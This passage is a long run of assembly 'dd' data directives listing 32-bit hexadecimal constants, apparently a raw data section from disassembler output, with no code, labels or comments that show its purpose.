		dd 428BE691h, 0F34F0C1Bh, 0CEC0414Dh, 17E99A2Dh, 8793F8A6h
		dd 113637A2h, 0B75AD45Bh, 14E9BC66h, 420ABE78h,	3926EA2Fh
		dd 17158446h, 0D126758h, 10EDACFDh, 3FDDD2A6h, 2FAB5F51h
		dd 0CB441CAEh, 0FC55689Eh, 0BEC95F45h, 0AB352586h, 64126FC4h
		dd 187EECECh, 941B797Fh, 0FB173AF3h, 5A97CC3Ch,	2D230375h
		dd 0C42A4C75h, 0C4A3EBDh, 7329DC1Fh, 0FED256AFh, 0AB6C2A6h
		dd 0D557789Ch, 443208AEh, 371914EAh, 0F7416CABh, 52FDD44Fh
		dd 3ED96022h, 91424DA9h, 0C0866EEEh, 379E5D1Dh,	8559E14Dh
		dd 0D7DA46Ah, 9A5BBEDFh, 21BDBBB7h, 6B925A53h, 0F4735DC2h
		dd 0AE303DB3h, 0AA16398Ch, 0FE4A1D9Ch, 3AC4886Bh, 8BB45363h
		dd 0D0A5C160h, 0D5FB0D2Ch, 0BC558C1Dh, 6C9D5696h, 7A7155Bh
		dd 77314DD6h, 1767C7D5h, 0D542A25Bh, 97AF2263h,	6CC9DDF7h
		dd 5703B572h, 2ED2E446h, 36A2C2EAh, 27D9B413h, 0CC62AC46h
		dd 357B15D1h, 0F71CAAD0h, 78E8249h, 0EF46AEAFh,	6BB6AE7Fh
		dd 223AEC22h, 0FDE00E4h, 0B4E130FCh, 0F7BA6EAAh, 6C54158Fh
		dd 3F5C4CEEh, 7F9FE5D6h, 5CDC3D09h, 4E2D7605h, 68819734h
		dd 67438837h, 0F8DAAABDh, 3DCF2721h, 0BBD102FEh, 3413CD83h
		dd 0F5A27508h, 0F7879273h, 46B135EDh, 0CF590EAFh, 55F646EEh
		dd 1639146Ch, 7BE305A7h, 243F81EBh, 0BEBBD7CFh,	37101789h
		dd 4C5BBD22h, 9CDDAB57h, 0C38D30B4h, 10D70783h,	0AF350B04h
		dd 4453D2D4h, 0A14D5A11h, 388D008Ah, 941BBFDFh,	38DEA391h
		dd 33D6BB9Eh, 6AA0F7C7h, 98BDAAA3h, 0A84D3BA4h,	0DA3EDBDBh
		dd 0D732B5D9h, 29B61FEAh, 5DA15505h, 438D6B69h,	6DF058C5h
		dd 0F0F690D8h, 23E48A1Dh, 0DC998771h, 0ED647B5Bh, 7E55F1Bh
		dd 60F24B36h, 0B725EBE3h, 436B2EE9h, 3B43CD29h,	0B7A0612Dh
		dd 78454872h, 0F7F7DCC5h, 44B8CD4Ch, 0E0D5DB57h, 0BE131065h
		dd 0EF71DB5Ah, 692DB338h, 0A138F1DFh, 5792194h,	0FD7FFC01h
		dd 0C40BC8FDh, 0A91782F4h, 9DEA6610h, 6DFF89BAh, 2AA5F65Dh
		dd 0C4F9DA5Eh, 59389CA2h, 0E29098CCh, 0D046DF19h, 0E7AA476Ah
		dd 80877D09h, 0EDCA2B87h, 0B4F78FFBh, 0CDF269E1h, 0A0F802D1h
		dd 7F14A57Ah, 3302FEFCh, 0E5B2E303h, 4B1BDFCEh,	8DD12731h
		dd 0BA1F7F55h, 0AB9ADC43h, 12A2DB07h, 0F73EAA22h, 0E8A85794h
		dd 0F2093F81h, 92E92C32h, 0F0F4DF69h, 4F21153Dh, 0C723149Dh
		dd 0EB61F8Ch, 0B77744E8h
		dd 0BEA594E7h, 1D540250h, 4561B51Dh, 0E25F31C4h, 7D6FADABh
		dd 3C836EAh, 69BDBE33h,	9EEC3C2h, 200862FCh, 0EF13EBEDh
		dd 62A81B7Fh, 0E8CD1755h, 6A52D783h, 0C0A7C4E4h, 4A6B98EEh
		dd 0C459E3CEh, 4072ABC3h, 0D2F95897h, 556BDC41h, 8B16D02Bh
		dd 0A9354606h, 9D0FF1AFh, 0D40A85CAh, 0FADC4F3h, 69C7599Eh
		dd 286AAF09h, 9D5119F7h, 0E3A54D9Ch, 0F9F2692Dh, 44445CF7h
		dd 0BEDC993Bh, 46C58D7Bh, 0D96EE672h, 0FD37962Fh, 0ECCA2814h
		dd 8E854812h, 82582A56h, 1E14FEE3h, 0EA9DC8DCh,	0F0703303h
		dd 9375D2E4h, 0D862245Dh, 70F4CFA2h, 46E94774h,	20577A0Bh
		dd 52813B30h, 0BAC365ADh, 21C3F401h, 69A25A5Fh,	974A9F83h
		dd 9D9E1A79h, 9F82D1D7h, 96CFF3AEh, 482E9DDBh, 8B2F95D1h
		dd 0BB10A456h, 38D5972Bh, 2B735DC1h, 0FC50836Bh, 5750641Ah
		dd 0BE2C2D1Eh, 6B5A62D7h, 0EDCBED53h, 65F3FE03h, 40E9AD87h
		dd 49E01245h, 0EBA1F1AEh, 0CDEA6AC5h, 3DE89939h, 114CF1F1h
		dd 47887E3Eh, 39286F93h, 5130E079h, 7AAD8E20h, 35E1950Ch
		dd 0FE1F3D20h, 0A079E7EDh, 6C0F0648h, 473135BBh, 0C3BA8EBFh
		dd 9AB5762Fh, 0BFE0EC39h, 70851CECh, 5F54353Fh,	0BE2552C6h
		dd 2553198Dh, 8476BB68h, 0DAC2D0AFh, 7344EFD6h,	0BF99C5Bh
		dd 503C53E1h, 71C27079h, 0E2E3CFBh, 0E9FF0ECh, 4209907Eh
		dd 8D5C3CA5h, 23E05CE4h, 0B892725Dh, 0E6DE8EE5h, 284334AAh
		dd 146E749Fh, 2EF7261Eh, 0C55EFD8Dh, 5790B5B2h,	923A92EEh
		dd 0B3F1C36Dh, 0BAB3AB8Bh, 0EED7BDFDh, 33F9BED0h, 0DC487EE7h
		dd 0DAFE2722h, 572F8F88h, 46706A50h, 0FA73C2A8h, 0BCFC4561h
		dd 82F82B0Ah, 428DB073h, 0F376B370h, 0EA535EBCh, 0ED740C9Fh
		dd 0B8A58EEBh, 93F57D3h, 0B15C6240h, 7747EE96h,	0E3AA4521h
		dd 8A16823Ch, 0B92F4B1Eh, 65E7F377h, 9000E7D0h,	0F0D9FFE5h
		dd 0FEFA1E1Bh, 1A672225h, 0AFA8280Ch, 0F7DA2BE3h, 7EAC6A4Ah
		dd 133336BAh, 1B66CED7h, 79AAE8F2h, 0D74C71B2h,	4C2A0D85h
		dd 0AAEE1275h, 969D04Ah, 0D96BF3D9h, 9C283B0Fh,	8A9F6A23h
		dd 186FC36Fh, 0EBE8509h, 0A502687Ch, 5C1B1850h,	0A502C103h
		dd 14574AACh, 51C87729h, 2ECC7195h, 7B99E2F8h, 0A02DF4B2h
		dd 0F76C4E90h, 0D3D6FF6Ch, 120ECA20h, 68629C37h, 0A8050B52h
		dd 0C7F4BF90h, 891D7495h, 0D3AE97DEh, 0E059795h, 0B0D7D857h
		dd 4BEFDED7h, 0D99F97E0h, 0D5623BE6h, 98AA8A17h, 0AEBBB21Ch
		dd 756DE5CAh, 2CD91C1Bh, 159DABDAh, 495A9F3Fh, 0D9B4271Fh
		dd 52CDDBD9h, 28925F0Ch, 7A2D8309h, 0A86EF8Bh, 2BA3B31Bh
		dd 51BBB11Bh, 0B7956DE1h, 9629A27Fh, 3FA34550h,	0BAC62C30h
		dd 5A5755CDh, 0F5EA1BE2h, 78DDD85h, 0EA54D0FCh,	0BB0CD7E4h
		dd 0DA95B3ABh, 6841D245h, 0B94DE15Bh, 1E5830CEh, 0B9281F68h
		dd 0A48B6680h, 0E1C6DD4Ah, 18A38946h, 12B70CBDh, 0FEF7C4ADh
		dd 0F828A649h, 0DFAADC61h, 54222E5Dh, 0EAFB2D23h, 0EB655E1Dh
		dd 9A1B949Ah, 0BF8A74DAh, 93E61C58h, 0A4BBBF24h, 9555CBF0h
		dd 0D486D8FDh, 0D8B8B4C9h, 896444F8h, 8E66BB2Eh, 0C99E2709h
		dd 0B7983162h, 714BB83Bh, 0D097DAEEh, 3910AE71h, 0E6226E06h
		dd 0A9E71C5Fh, 4ECA99FAh, 52DF5ADDh, 9B2D7A28h,	0F0D72EB9h
		dd 23ED4BEFh, 0C912FEAEh, 71D70915h, 0D89B5D17h, 90E53FD5h
		dd 958BB6Ch, 0C34B9DABh, 43470E4Fh, 0DB868D2Eh,	0F68AA604h
		dd 0ED101F12h, 0DA02CA7Ah, 0BB5ECA21h, 72FEA118h, 638722FBh
		dd 0CBAC0AE7h, 0AA52E41Bh, 7EADB6A6h, 0FDAC6F36h, 13A568AEh
		dd 0AF533655h, 4B7F5010h, 7A8D750Eh, 0CD95BF9Dh, 0EA01A36Fh
		dd 0FD7CE9DDh, 5289CEE3h, 1A490EACh, 0D33254D5h, 32E1EED4h
		dd 8B112B66h, 0D2BD3610h, 0F92C1C1Eh, 9657335Dh, 0D5F6D98Ah
		dd 196988FBh, 1F8CA028h, 5AC3C4FEh, 532A91D1h, 3E7F7B71h
		dd 227B8600h, 0C2782BD9h, 8B974871h, 0A148E270h, 0CA78CA80h
		dd 2A87EA71h, 69150F80h, 495D53D7h, 0B14F7CE6h,	0E7D429F2h
		dd 95AA1F65h, 0ACB338D2h, 0C11177C1h, 3E2CF8F1h, 0F239B438h
		dd 4DF545FCh, 65A29D9h,	3531066h, 0B1D33875h, 1833BC4Eh
		dd 2FDC383Eh, 292FE0FBh, 7455079Bh, 92838AB2h, 0AB15B1E5h
		dd 90B87BD0h, 9FB917Fh,	0DF4E2D93h, 8F15F1Bh, 4F216701h
		dd 1FE5D07Ch, 17F310A7h, 25F917AAh, 8EC649AAh, 0C2746C9Ch
		dd 0A80155C2h, 3B6DF52Bh, 636753BBh, 156C0B6Dh,	0D17531BFh
		dd 0FCDE3A1Ch, 4E15B825h, 0EAE18277h, 0FBF343CEh, 0E8B462B3h
		dd 56EBA10Dh, 0EA4469A2h, 0ED5A9356h, 38BCB59h,	5C467F41h
		dd 803EABDDh, 0F9CC3682h, 9CAB750Ah, 534E065Eh,	0A4C0DAF4h
		dd 0AD353849h, 0E210BB14h, 55D90084h, 8DD2B440h, 0E9F7FC93h
		dd 143084D2h, 0BC22E165h, 0CFE5921Ah, 0A9804C5Fh, 0D5C5E5CBh
		dd 0D99A9134h, 3DF5A1B9h, 0C8C292ABh, 0B1BF6AC9h, 7CC63BB0h
		dd 4CDC9541h, 0AE2DC99h, 33318BD0h, 7F4A353h, 47E0BE8Eh
		dd 0ED082595h, 0CFBF55D8h, 89F20660h, 588A016Dh, 2109A7FAh
		dd 0F278F169h, 0AD826C1Dh, 1EA87974h, 36EB537Fh, 42AC5A29h
		dd 0FAD565C9h, 523C7621h, 0F03097FCh, 1C36F1BEh, 0F827D53Eh
		dd 46AD9218h, 1107FBD0h, 0BA812EA1h, 2F6C9BEDh,	6BA8442h
		dd 62BDEB6Bh, 0E5D9A0C9h, 39745489h, 0CD695672h, 96C42550h
		dd 2D276D2Ah, 0A1157D97h, 94B58964h, 915D8172h,	1A61C83h
		dd 8CE4633Fh, 0DA3E122Eh, 904C8AB2h, 1828FC3Fh,	4AAD607Ch
		dd 1D5A0F77h, 5B4996B9h, 0CD2A349Ch, 0F77B4F71h, 95C22158h
		dd 0F6C822CAh, 9C9EACD3h, 0F6E4D4DBh, 0D7EECA60h, 9996D505h
		dd 0EEDBF6F3h, 6F3E63ACh, 48EBB019h, 0ADA0DCE0h, 8E994F2Fh
		dd 717670CAh, 9126AC67h, 97F63FB2h, 0A0E6CEC3h,	0BD6517F5h
		dd 0FF38E349h, 46157A6Dh, 16C1F2Fh, 0BD5B52B4h,	68D30EE8h
		dd 0D63A52A3h, 0C9A99C0h, 0B51A3ABFh, 3A1B9FB7h, 0C189E4E9h
		dd 90F28D0Bh, 6D0D5ED4h, 0DA3446D7h, 0AD3C3B85h, 45CD940Ah
		dd 94A3157Dh, 0F37FC12Fh, 27C7A0A5h, 3C50AAE9h,	21E63BB6h
		dd 0EF094873h, 626DA22Ah, 0B5300EB7h, 0E13176CDh, 94B8D477h
		dd 66BEC678h, 5CCCCDEBh, 42FF8849h, 6CE6551Ah, 15A75D5Ch
		dd 8F445323h, 0FF88C0E2h, 0F872A8C9h, 0A7326059h, 0F72EE671h
		dd 0A9CADF33h, 61DA8CCh, 626C2B6Ch, 42B84512h, 0A53078BEh
		dd 8730B7EBh, 3F3E13F2h, 6AAD3DEDh, 0EF91305Dh,	0C68BBE39h
		dd 0F50D1ED7h, 40E9F3FCh, 75CCFD25h, 6812A9DFh,	61BCA817h
		dd 4DC95BFDh, 5B2D2C11h, 0F68D7490h, 4972F68Ch,	1413CF32h
		dd 0AFCCDC1Eh, 567F0252h, 77AED2E1h, 73D93721h,	721D1327h
		dd 0AD8DA550h, 5438E0D4h, 0A1E4C3BEh, 1E9E6E0Dh, 7F442213h
		dd 5C3B892Eh, 9B290F55h, 0BAC12711h, 6F0A52DAh,	74959405h
		dd 9D5527A2h, 0A7A8D629h, 0ACD13D2Dh, 75E9AFECh, 4BFBFA68h
		dd 172355A2h, 7C403628h, 760FF554h, 1BAA35E3h, 7E0E5AEBh
		dd 508C5D48h, 91489976h, 0C978EA9h, 9C55248Ch, 0AB6C676Dh
		dd 0E2D4A8A6h, 9F68CF46h, 0AEC4276Ah, 0B274A5DDh, 0A814F27Ch
		dd 5D8AF04Ch, 711ED9CBh, 9C4F162Ah, 7B845911h, 5A310225h
		dd 4CB9FE5Dh, 0BEE30FC6h, 0AA3201D7h, 35A27DFAh, 683B66BCh
		dd 581E41B1h, 8F9E5AB3h, 0A7CC04D3h, 1AD7EC2Dh,	0D15B6CB9h
		dd 7BF3CEC3h, 0E894A276h, 1755AE06h, 96194E4Dh,	0E2B3ACD5h
		dd 0EB75F7E1h, 0CEDD3885h, 754CF87h, 18F3CB1Dh,	0BCAF04A7h
		dd 1CABBA9Dh, 0D976E5EDh
		dd 0E4C288ABh, 99CB075Fh, 651E74E5h, 0AC354617h, 0AD4E26E8h
		dd 99BC9913h, 0B16638D8h, 0A06E1350h, 7C6AF8F7h, 6614CDC1h
		dd 98981DDBh, 1CF7A2BBh, 71ED3761h, 4DA4E471h, 0FBD2AC2Dh
		dd 783412B4h, 0D8AEDE7Dh, 151E48F2h, 0B45282E9h, 0D980158Bh
		dd 3FD9DC63h, 728F6991h, 0E5A43AABh, 7503A2B3h,	0DC7C14A7h
		dd 755C59FEh, 0AEC621E7h, 0C6A475D2h, 0D3C8F095h, 4C3F5555h
		dd 0C528DBEEh, 0FF5A13B1h, 56ABAD3Ch, 36FA5FC2h, 6DCEB2F1h
		dd 0E5F6FFCh, 9A8855F5h, 6851450Dh, 235FA130h, 0B984FA85h
		dd 19AC3ECAh, 0A71AA5FFh, 0EAAA0998h, 558C4F9Eh, 2A6F42A8h
		dd 0C05D553Ch, 4A575B79h, 95820E69h, 4B21F137h,	94DAAAF1h
		dd 0CAA98ADCh, 0FA666114h, 0BBB5ED6Ch, 5B60C237h, 8F681B97h
		dd 5A6EB64Bh, 1BEC9E68h, 4044D58Fh, 0B7739B17h,	9C5CA461h
		dd 0EB6F36DDh, 28BD18CDh, 99886E2Ah, 6D6CA32Bh,	99EDCE0h
		dd 33564A9Eh, 0F7F8E5C1h, 8BC5B0E6h, 0FE8699F9h, 0CE94B2A2h
		dd 730E7679h, 1DBC6B44h, 0A2CE2E7Dh, 0BC7B3F1Fh, 973DAAB3h
		dd 0AC1E636Fh, 0E356C15Dh, 0E125FC5Fh, 8F9EE067h, 915F83Ah
		dd 43A87A38h, 2BCF98BDh, 0ADFE0615h, 2A913256h,	25FC53D5h
		dd 6C2AFEADh, 85A45E79h, 3A8C825Fh, 1444D8FFh, 0C087B6AAh
		dd 0D555B6B2h, 890E1C0Bh, 0D1EA7F01h, 0A8075FCEh, 0E5D7AD53h
		dd 0E2CB8BC5h, 6BF50E17h, 67A39336h, 688A80D5h,	19A9AB29h
		dd 0B937F435h, 2B9E6ACFh, 0E745BC40h, 49A491AFh, 521E1906h
		dd 0C3BAB76Fh, 472768B5h, 7F425FF2h, 0FC5C0973h, 0AAB0AED0h
		dd 0ADAD3222h, 6CE2994Ch, 0CE034612h, 519C781Eh, 4D74DA63h
		dd 1C7781F4h, 99A53074h, 958736D1h, 0B12B6DF8h,	0CF2E5FBAh
		dd 0DA0E5E34h, 0CEB522EEh, 5F87045Eh, 0BB445491h, 0FBD338A2h
		dd 0C1414912h, 0F57124A7h, 837C02B2h, 3FA9A7F2h, 6645EB46h
		dd 1CBD0A77h, 0D769A4F8h, 677178B9h, 7C49FC8h, 1FB1D725h
		dd 0FF4D08E3h, 0D240B741h, 894CB303h, 1E341732h, 1AC9FDDCh
		dd 148D64E6h, 3A78267Fh, 8FFD8161h, 99462C60h, 5968BD2Ah
		dd 0DBE88CCEh, 645DCFFh, 372B6E6Fh, 0B2A1F40Eh,	0B621ECDh
		dd 775C7C64h, 587E2AF8h, 0E65D5D53h, 55B43BEFh,	36C10E0Dh
		dd 0C423189Dh, 419D8E6Ah, 19BC31DBh, 1A18412Eh,	1AB517D3h
		dd 1BB49C1Fh, 0A117CEA4h, 2FA0562Bh, 0F4750B81h, 0C42A531Dh
		dd 4BA3A586h, 1AE3FD2Dh, 7BA860A4h, 0EDC87039h,	0EACCAE07h
		dd 0F16C9FE3h, 0CA2CE636h, 237162A0h, 0BAF8AE80h, 6922C0B6h
		dd 1BCEE5E7h, 0B6B12E93h, 498C3693h, 1D03B12Dh,	54630FC2h
		dd 5CF6E271h, 223D2284h, 0F32BCA05h, 1AD871C0h,	0CB89C279h
		dd 7597E557h, 1FEAABA7h, 93114945h, 0F810D441h,	0DB34CC98h
		dd 2C28F756h, 0DBB9609Ah, 2C11443Ch, 475CD477h,	5758132Fh
		dd 54849F3Fh, 8F711110h, 40DD06E6h, 37347897h, 5FD837D5h
		dd 1EB4CFD2h, 116F7984h, 6C2B7667h, 0E74B052h, 81D925Ah
		dd 0F1906C5Ah, 176DE9FCh, 0FEAD6F4Dh, 9EAB7D9Dh, 94E1D49h
		dd 0A11A44AEh, 717C5F5Eh, 24CE50F8h, 77A09FBAh,	8A2B2BEBh
		dd 50EE4D62h, 0B06B0248h, 6F7F6F78h, 0F82FF21Fh, 0F65DBAFBh
		dd 0D89DFE88h, 99395CCFh, 0B34D2BEBh, 83DB9C26h, 0DD607D08h
		dd 0DD62192Ch, 9CE5DAEh, 3EA9E0EAh, 7E35C454h, 0EDE47918h
		dd 9F59F71Ah, 0FC15CF3h, 0A1F87EDBh, 6814E7C6h,	0FC0F3C5Dh
		dd 14BBF253h, 76348ED7h, 9A97DA9Fh, 0ADAC8528h,	0DABDCCE0h
		dd 48E94357h, 0AC63A207h, 5FE3A60h, 9697478Eh, 0FA186D88h
		dd 187AF447h, 5C920820h, 9B12B0D9h, 0F243A439h,	40AD37D8h
		dd 0A367DB0Ch, 82F50A2Dh, 0FDB4FC10h, 6E2652B0h, 369049FCh
		dd 0CFC4FA9Ch, 0EF853A97h, 0FDB8AF16h, 79A7EA17h, 401817E4h
		dd 0F27FDDD8h, 90FD5727h, 0DA56A366h, 0CC036247h, 9EEAF1E8h
		dd 15B76DDBh, 0D81E9225h, 0EDEE61F9h, 0D6E54CC0h, 0F47982E2h
		dd 0F17E1CF0h, 570B18D8h, 0CBBF0FB2h, 4CB1834Ch, 4E52C7D2h
		dd 1574F2B0h, 0BEB8F741h, 22CD8758h, 979C2CF5h,	13D75134h
		dd 16A6636Ah, 0AE026354h, 14B48DDFh, 3F9CFB13h,	0AA0759B6h
		dd 3980EBC1h, 1EB125A9h, 48FFB32Bh, 0DEB57728h,	0EBF3728Dh
		dd 0AAC74494h, 9ED304FBh, 0FE4DEBFDh, 150D43F0h, 0DAA4A2AAh
		dd 0D513F3EBh, 58A8FCBBh, 374ECDD0h, 0FB5370B3h, 592AEB90h
		dd 0CBF6F655h, 27BF40CFh, 568E4EB0h, 0F399C523h, 927B469Fh
		dd 0DC2874D5h, 574BAC21h, 60A21EADh, 0E397ECD2h, 0D377EB95h
		dd 0A347DD7h, 1B098A04h, 2A34B555h, 7FC8954h, 0CFDCFB18h
		dd 6C81DC0Ch, 214A2933h, 0B86B85F6h, 258AC586h,	0C4A501CFh
		dd 88C709CFh, 48A81091h, 1416DF81h, 81E149D7h, 4A5ADE25h
		dd 3ABF50DBh, 0EF903837h, 9E073662h, 19FE7457h,	0EFC4F66Ah
		dd 0DD5F7882h, 3BD00467h, 3D48DFAAh, 88110549h,	67C13B18h
		dd 9C4BAA29h, 0BA17E980h, 90678612h, 0C67A64B4h, 0BE86F40Dh
		dd 651D0BB5h, 95F4AFF8h, 32B5AAEDh, 0D4CB2BC1h,	0F56E41B8h
		dd 7E23FDEEh, 684B3148h, 8FF47966h, 81ED429Fh, 0BE72CAF9h
		dd 7C4377EEh, 565DD68Eh, 0F43D0172h, 618218DCh,	0DDD2256Eh
		dd 4BECD45Bh, 798288CEh, 570A4DA3h, 556CA2C4h, 0C43944BAh
		dd 4568FA21h, 0F0D8295Ah, 34D4B43h, 0A50397C1h,	0F3FDEAF5h
		dd 0A40BE5CAh, 0BEA8D083h, 5219897Bh, 0BFE22538h, 0B9AF8500h
		dd 6572458Ch, 0FCB46FAEh, 0D1EC1F80h, 0D417F93Eh, 2AA8571Eh
		dd 7613B1BCh, 41F71D71h, 7672E642h, 87E2E33Fh, 68CC91FCh
		dd 5157684Bh, 2D7C1F02h, 0E624B479h, 3476E882h,	0FFAF8DECh
		dd 0DD0BC2FFh, 0C4E72A5Bh, 0B88D1EADh, 0DBE05F5Fh, 1525DD52h
		dd 0C595C423h, 145F430Fh, 0DB16F4DCh, 0C876ECB7h, 657DDBF2h
		dd 0E3576F8Ah, 2A6C6031h, 0CA4897F7h, 2BDDD263h, 45F866F3h
		dd 4BEC64B4h, 0BD48FA29h, 0BFAAC93Dh, 0D25F1C34h, 27992BB6h
		dd 2D1604A6h, 0CD58AF67h, 3ED55BC1h, 0F9987272h, 0B94549DEh
		dd 5368A41Bh, 0B2E3F6BFh, 4DAB5D7Ch, 70CCA2A0h,	0D17E677Ch
		dd 0A710D12Dh, 0F6841D52h, 0E20B953Fh, 0B221251Fh, 0BC0B6434h
		dd 0DE2329D6h, 20C27CBh, 13FC339Ch, 0DA69484h, 0CF0BD345h
		dd 0A76D4E60h, 0D165E168h, 0E219767Ah, 12A99614h, 0DAA9428Bh
		dd 64AA2A8Ah, 0A3AFACB4h, 0B898BDAFh, 67C85906h, 0F9A45F28h
		dd 0F7D57340h, 1FEC9D53h, 0B0BF2646h, 7144617h,	0BFCA198Fh
		dd 0BA6AE5E4h, 0D05F7556h, 0C6D155D6h, 617AEDF4h, 886A03ADh
		dd 5D784E10h, 0AD0DA2B6h, 0FFAE296Eh, 8252DE33h, 0B2173DBFh
		dd 0FC5B26D2h, 0B4BB16D6h, 1FBCE648h, 0A82B4A1Ah, 643C0747h
		dd 60AB373Eh, 658FED1Ah, 0A6FB1893h, 0C0F80C1Ch, 6CAD1306h
		dd 255AB5D8h, 0BEF4594h, 0BC8B580Ch, 304B55EBh,	0C454EFC7h
		dd 0C35E4912h, 0D7AFDF11h, 8A244BCEh, 6512F2AFh, 0BD952993h
		dd 0D37A5AE4h, 0C36290F4h, 0DFC5CDE0h, 0D99D4B95h, 0A0848DECh
		dd 0E39ECA15h, 9B84AACCh, 32028DD3h, 0B372CF06h, 0E6C6A0D8h
		dd 2509D21Dh, 9135DCFDh, 0DBC85EE4h, 0FE7C5044h, 4268F834h
		dd 90EB4ABFh, 7F8B7E2Ah, 0D7682EC5h, 3296161Eh,	4996D6EEh
		dd 0BB3175E4h, 0E7DC1C08h, 0EF730E84h, 3C8ED093h, 0FDE4C74Ah
		dd 5C1E801Ch, 0A3E65614h, 487F441Dh, 50D252E3h,	0CBDA3A7h
		dd 0F9F6DE9Ah, 8F9C30BAh, 0EEA65794h, 9F1FAE42h, 3348E671h
		dd 0F4625F7Ah, 7BD77ECDh, 5E3D77B6h, 0DA40E02h,	0C2FA843Fh
		dd 7ABEBB3Bh, 627AEF27h
		dd 91375A0Fh, 0D94E7255h, 0AA0D497Ch, 0C490AB61h, 0DC5A227h
		dd 0EAEB7454h, 9186B12h, 16AE5F09h, 4B1EAAFCh, 7F52B564h
		dd 6B7D805h, 0F0F31C0Fh, 73AFA0FEh, 0DD52AAAFh,	4C3EF65Fh
		dd 52CA1ECEh, 3217F553h, 79F06363h, 48DB7381h, 111A4BBFh
		dd 0E7C61CBAh, 8C0757C6h, 0AF706A56h, 0B6D2DB87h, 734F3E46h
		dd 4FB83DE3h, 909EF5A7h, 0E9D25F59h, 13240B53h,	0EF3A175Eh
		dd 6C463A08h, 95E07ABDh, 0F86BA349h, 24753168h,	90FD5E02h
		dd 29C7787Ch, 51B4B919h, 0F26FE5D9h, 0C48C5E32h, 0B049ABCh
		dd 548CDCEh, 9082A146h,	0C39DE6B7h, 0A359DF90h,	660A2339h
		dd 4D5B48E2h, 0DFFA7969h, 0A83803D8h, 75B3824h,	5D9925B0h
		dd 0B63A8B40h, 0DAB8B77Ah, 20DC17F7h, 405FD969h, 0B3244E3Fh
		dd 3DFE9296h, 8444AAE6h, 0C7653AFAh, 5C6D2929h,	0D17927AEh
		dd 0B5CACB75h, 8B46E57Ch, 0C8E6FB7Bh, 5F25DFA2h, 0C0FEB918h
		dd 86AA48AAh, 3F9725E1h, 841FE64Bh, 46152E18h, 52D35B17h
		dd 0B1975B7Ah, 0EAD63337h, 0B11E0D1h, 79638F66h, 0E81C1975h
		dd 0D4AEDBB6h, 0AEDD2944h, 23CA8558h, 1A71BAB3h, 6648ADD1h
		dd 0ACA78850h, 39662A8Ah, 0AB0E3AFEh, 4E24B7EEh, 0C42B09BDh
		dd 24B1B672h, 9B56B1A9h, 8877B09Fh, 5148F71Ah, 883679F9h
		dd 55E33CF6h, 544A83D3h, 9213FDBEh, 6759CB39h, 8B563970h
		dd 0CBFFC337h, 0F4685487h, 0C33C29A7h, 0A7102032h, 8FC1CA6Ch
		dd 0CC95D6E3h, 956A3B19h, 7BB4E6ABh, 0D64467EDh, 0EC3552A0h
		dd 0F7CC3E94h, 0C657C1B7h, 55A589CFh, 52194DA4h, 0A5DA76E5h
		dd 4EED148Dh, 0AD8AD560h, 7567ED32h, 0FB90FA8Eh, 30F5C615h
		dd 370B33C5h, 0AE3D96E2h, 0B660B968h, 0BF411D6Fh, 8B77776h
		dd 85EC29D9h, 0B53C6685h, 0F033833h, 0E9B81F1Ch, 0F88AE0FDh
		dd 0B1BE44A1h, 5F1EF3A5h, 469194ACh, 1CB816A6h,	0EA6462ADh
		dd 7174D07Bh, 0C947EBDCh, 0AD84A9C2h, 57519539h, 0A523C6EFh
		dd 79EC937Ch, 0E29A47EBh, 5A759AA8h, 0E7167B8Fh, 0E966F2C8h
		dd 2B230568h, 0F0EFA2Bh, 9ED01DACh, 0AA164DC7h,	2EB2A067h
		dd 0BAFB8A2Ch, 4F43B807h, 44C1EC0Fh, 95ABE0DDh,	1DB49377h
		dd 0AD94C11Eh, 265E6360h, 8AE1C75Fh, 0EE24266h,	0D8B9BFA3h
		dd 0C3932E55h, 5BCD5AEEh, 221FB575h, 57412AC3h,	8F5A82F2h
		dd 0E65E41EDh, 0B2AB3E33h, 0FD6DB73Ah, 0EE21CBE9h, 2718D63Ch
		dd 0FCD69C0Ch, 0AAF2387Bh, 0B6D2F21Bh, 2B64A28Eh, 677EDF6Fh
		dd 8016DBD0h, 0FC12B01Bh, 40C8C43Ah, 7CC850D1h,	6DCE4FD0h
		dd 6DFD27FBh, 9B865038h, 4198A8D6h, 0EB670781h,	3ED54C77h
		dd 827F2BCEh, 0D2993673h, 34DA1D72h, 0FD9577D4h, 0E34C8A3h
		dd 89BBB85Ch, 0E4655D62h, 5BDDF276h, 0F344F9F5h, 7818064Ah
		dd 9DDEF157h, 0CCF89544h, 77A7DDC3h, 79B43462h,	5E28F7E0h
		dd 882AD9EDh, 9572E162h, 8B52E182h, 329F846Ah, 1E1F8DFAh
		dd 0AF945A55h, 0EA57EDC3h, 1B82FBA5h, 0CCAD71EBh, 7FDA949Dh
		dd 6F2E8EBBh, 56A40554h, 87B21D74h, 0B3882BFAh,	2A140299h
		dd 6E5F035Eh, 447BE9AFh, 988759Dh, 11D106EDh, 4717CCF2h
		dd 9C7E39EFh, 57FD545Bh, 5D69E42Bh, 0BDD9FB97h,	3735DA7Fh
		dd 0E72AD87Eh, 4F8F6155h, 0C1362872h, 70FC8DFDh, 0EAE54DF6h
		dd 68F4778Ah, 766604EFh, 120BD6BAh, 9DC527D8h, 46BAE518h
		dd 0DB052ECFh, 0A110061Bh, 9A67EAB2h, 0C7C7841Fh, 7A2D40C2h
		dd 4A9380BBh, 0D567DE65h, 2EE37538h, 0CCED4CABh, 0A1309275h
		dd 5549ECA5h, 0D6628837h, 29254AEBh, 701BF1C0h,	4AB7C23Fh
		dd 0CEC48BD1h, 0A5D77655h, 933FBC62h, 0DDE346BBh, 5F734780h
		dd 0F8C69BB9h, 0E57424CBh, 0F3C4A4B8h, 0F0990826h, 2B2BBBF7h
		dd 6C7729A9h, 10CA43EEh, 0E96C8607h, 9D1E0BBCh,	0D72815A3h
		dd 0BE2ACE4Ah, 9AF8E5CCh, 6921ED33h, 0D3AF9D98h, 0BBFDEF4h
		dd 96D3A77Dh, 0A04328D8h, 42FF03E7h, 0DAF323F2h, 0B1467A54h
		dd 0ACDAA668h, 0EF492BCFh, 347D346Bh, 298713EFh, 0F8F6C1BDh
		dd 0BB0DE235h, 982F80DEh, 4BFDC3E7h, 0FC38CBBDh, 8AF8F0C2h
		dd 3D18F700h, 3ADFE8ADh, 4703DB84h, 4664F95Dh, 7EF717ACh
		dd 994892D7h, 2AD4052Ch, 0D4E492F2h, 0F2FE519Fh, 0E6471B2Bh
		dd 72AC8458h, 5B8FFD02h, 0B72264E5h, 5BA65705h,	5E3F8703h
		dd 5F9D83FFh, 0F35ADDF7h, 89731518h, 0BF3B8874h, 0E0E60ACAh
